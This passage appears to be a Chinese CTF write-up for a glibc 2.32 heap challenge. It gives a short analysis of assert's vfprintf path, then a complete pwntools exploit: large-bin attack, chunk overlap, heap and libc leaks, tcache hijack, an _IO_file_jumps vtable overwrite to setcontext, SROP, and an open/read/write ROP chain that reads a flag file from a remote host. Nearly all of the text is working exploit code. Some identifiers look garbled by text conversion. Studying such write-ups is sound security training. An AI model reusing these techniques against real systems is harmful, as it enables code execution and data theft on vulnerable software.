-也被堵死了
UB相关的都被堵死
成功构造出overlap
B->bk = C, C->fd=B
, 并且C是被索引到的,但由于00截断,无法读出堆地址assert()
定义:
#define assert(e) \
(__builtin_expect(!(e), 0) ? __assert_rtn(__func__, __FILE__, __LINE__, #e) : (void)0)
#define __assert(e, file, line) \
__eprintf ("%s:%d: failed assertion `%s'\n", file, line, e)
#define eprintf(format, ...) fprintf (stderr, format, __VA_ARGS__)
eprintf()
的调用实际就转为vfprintf()
的调用
int __fprintf (FILE *stream, const char *format, ...)
{
va_list arg;
int done;
va_start (arg, format);
dOne= __vfprintf_internal (stream, format, arg, 0);
va_end (arg);
return done;
}
在vfprintf()
中会进入buffered_vfprintf()
static int buffered_vfprintf (FILE *s, const CHAR_T *format, va_list args, unsigned int mode_flags)
{
CHAR_T buf[BUFSIZ];
struct helper_file helper;
FILE *hp = (FILE *) &helper._f; //助手流
int result, to_flush;
//...hp初始化
_IO_JUMPS (&helper._f) = (struct _IO_jump_t *) &_IO_helper_jumps; //为助手流设置虚表:_IO_helper_jumps
/* Now print to helper instead. */
result = vfprintf (hp, format, args, mode_flags); //输出到助手流hp中
//...
if ((to_flush = hp->_IO_write_ptr - hp->_IO_write_base) > 0) //如果有要输出的
{
if ((int) _IO_sputn (s, hp->_IO_write_base, to_flush) != to_flush) //那么就调用s的_IO_sputn全部输入回s
result = -1;
}
//..
return result;
}
一路si下去发现,当fflush()
调用sync是rdx指向一个libc中可写的区域
并且再2.32下,_IO_file_jumps是可写入的
然后劫持虚表即可
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
def Log(name):
log.success(name+' = '+hex(eval(name)))
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
if(len(sys.argv)==1): #local
sh = process('./pwn')
proc_base = sh.libs()[sh.cwd + sh.argv[0].strip('.')]
else: #remtoe
sh = remote('node2.hackingfor.fun', 36072)
def Num(num):
sh.send(str(num).ljust(0xA, '\x00'))
def Cmd(n):
sh.recvuntil(">> ")
Num(n)
def Add(sz, cOnt=''):
assert(0x100<=sz and sz<=0x2000)
Cmd(1)
sh.recvuntil('Size: ')
Num(sz)
sh.recvuntil('Content: ')
if(cOnt==''):
cOnt='aaa'
sh.send(cont)
def Edit(idx, cont):
Cmd(2)
sh.recvuntil('Index: ')
Num(idx)
sh.recvuntil('Content: ')
sh.send(cont)
def Delete(idx):
Cmd(3)
sh.recvuntil('Index: ')
Num(idx)
def Show(idx):
Cmd(4)
sh.recvuntil('Index: ')
Num(idx)
#padding to align addr
Add(0x2000) #0
Add(0x2000) #1
Add(0xd20) #2
#chunk arrange
Add(0x500) #3 B, put into LB and unlink(B)
Add(0x4F0) #4 A'
Add(0x4F0) #5 A, put into LB
Add(0x100) #6 gap
Add(0x510) #7 C, put into LB
Add(0x2000) #8 chunk to attack
Add(0x1F8) #9 chunk to overflow P flag
Add(0x4F0) #10 chunk to be free
Add(0x100) #11 gap to top chunk
#sort A,B,C into UB
Delete(5) #UB<=>A
Delete(3) #UB<=>B<=>A
Delete(7) #UB<=>C<=>B<=>A
#put A,B,C into LB
Add(0x2000) #trigger sort, LB<=>C<=>B<=>A
Delete(3) #big chunk consolidate with top chunk
#forge FakeChunk in B
exp = p64(0) #prev_size
exp+= p64(0x3740|1) #size
Add(0x500, exp) #idx: 3; get chunk B, LB<=>C<=>A
#partial overwrite A's bk
exp = p64(0)
exp+= p16(0x0010)
Add(0x4F0, exp) #idx: 5; A's bk=>B, LB<=>C
#put A' into LB
Delete(4) #UB<=>A'
Add(0x2000) #trigger sort, LB<=>C<=>A'
Delete(4) #consolidate with top chunk
#partial overwrite C's fd
exp = p16(0x0010)
Add(0x510, exp) #idx:4; C's fd=>B
#chunk overlap
exp = 'A'*0x1F0
exp+= p64(0x3740) #chunk10's prev_size
Edit(9, exp) #chunk10 's P=0, prev_chunk(chunk10)=>FakeChunk in B
Delete(10) #UB<=>(FC in B, A', A, 6, C, 8, 9)
#leak heap addr
Show(4)
heap_addr = u64(sh.recv(6).ljust(8, '\x00')) - 0x5a10
Log('heap_addr')
#get A' from LB
Add(0x4F0) #7
#split UB chunk, make it smaller than 0x2010
Add(0x1520) #UB<=>(8, 9)
Add(0x2000) #UB<=>(9)
#trigger sort
Add(0x2000) #LB<=>(9)
Delete(13)
#leak libc Addr
Show(9)
libc.address = u64(sh.recv(6).ljust(8, '\x00')) - 0x1e40b0
Log('libc.address')
tcache_addr = libc.address + 0x1eb538
Log('tcache_addr')
Log("libc.symbols['__free_hook']")
#LB attack to control tcache ptr
_IO_file_jumps_addr = libc.address + 0x1e54c0
jumps_SYNC_addr = _IO_file_jumps_addr + 0x60
fake_tcache = '\x00'*(0x7C-0x10)
fake_tcache+= p16(1) #counts[0x400] = 1
fake_tcache+= p16(1) #counts[0x410] = 1
fake_tcache = fake_tcache.ljust(0x270-0x10, '\x00')
fake_tcache+= p64(jumps_SYNC_addr) #entries[0x400], setcontext
fake_tcache+= p64(libc.address+0x1e48c0) #entries[0x410], Sigreturn Frame
Delete(12) #UB<=>(8, 9)
Add(0x4F0, fake_tcache) #idx: 12; smaller chunkB, tcache_addr = chunkB
Add(0x1b10) #idx: 13; split
Add(0x500) #idx: 9,14; chunkA,
Add(0x1D0) #idx: 15 remain
Delete(14) #UB<=>chunkA
Add(0x2000) #idx: 14; trigger sort: LB<=>chunkA
Delete(14)
Delete(9) #UB<=>chunkA
exp = p64(0) #chunkA's prev_size
exp+= p64(0x511) #chunkA's size
exp+= p64(0) #chunkA's fd
exp+= p64(0) #chunkA's bk
exp+= p64(0) #chunkA's fd_nextsize
exp+= p64(tcache_addr-0x20) #chunkA's bk_nextsize
Add(0x6F0, exp)
Delete(12) #UB<=>chunkB
Add(0x2000) #trigger sort, now tcache=>fake_tcache
#control vtable
exp = p64(libc.symbols['setcontext']+61) #_IO_file_jumps.SYNC = setcontext+61
exp+= p64(libc.address+0x7e600) #avoid SIGV
Add(0x3F0, exp)
#GG
rdx_GG = libc.address + 0x14b760 #mov rdx, [rdi+8]; call [rdx+0x20]
pop_rdi = libc.address + 0x2858F
pop_rsi = libc.address + 0x2AC3F
pop_rdx_r12 = libc.address + 0x114161
pop_rax = libc.address + 0x45580
syscall = libc.address + 0x611EA
ret = libc.address + 0x26699
def Call(sys, a, b, c):
rop = flat(pop_rdi, a)
rop+= flat(pop_rsi, b)
rop+= flat(pop_rdx_r12, c, 0)
rop+= flat(pop_rax, sys)
rop+= flat(syscall)
return rop
#SROP
frame = SigreturnFrame()
frame.rsp = heap_addr + 0x6650 #RORW ROP addr
frame.rip = ret
frame.r10 = libc.address + 0x8e520 #avoid SIGV
exp = str(frame)
Add(0x400, exp) #buffer<=rdx, must be short
#RORW ROP
buf = heap_addr+0x200
exp = '\x00'*0x100 #padding
exp+= Call(0, 0, buf, 0x100) #read(0, buf, 0x100)
exp+= Call(2, buf, 0, 0) #open(buf, 0, 0)
exp+= Call(0, 3, buf, 0x100) #read(3, buf, 0x100)
exp+= Call(1, 1, buf, 0x100) #write(1, buf, 0x100)
#make assert fail, trigger printf
Add(0x4F0, exp) #idx:17
NON_MAIN = 4
Delete(9) #UB<=>A
exp = p64(0) #chunkA's prev_size
exp+= p64(0x511|NON_MAIN) #chunkA's size
Add(0x6F0, exp) #idx: 16; chunkA in LB has NON_MAIN bit
Delete(17) #UB<=>chunk14
Cmd(1)
sh.recvuntil('Size: ')
Num(0x2000) #trigger
#file name
sh.send('./flag.txt\x00')
sh.interactive()
'''
'telescope '+hex(proc_base+0x4160)+' 18'
'''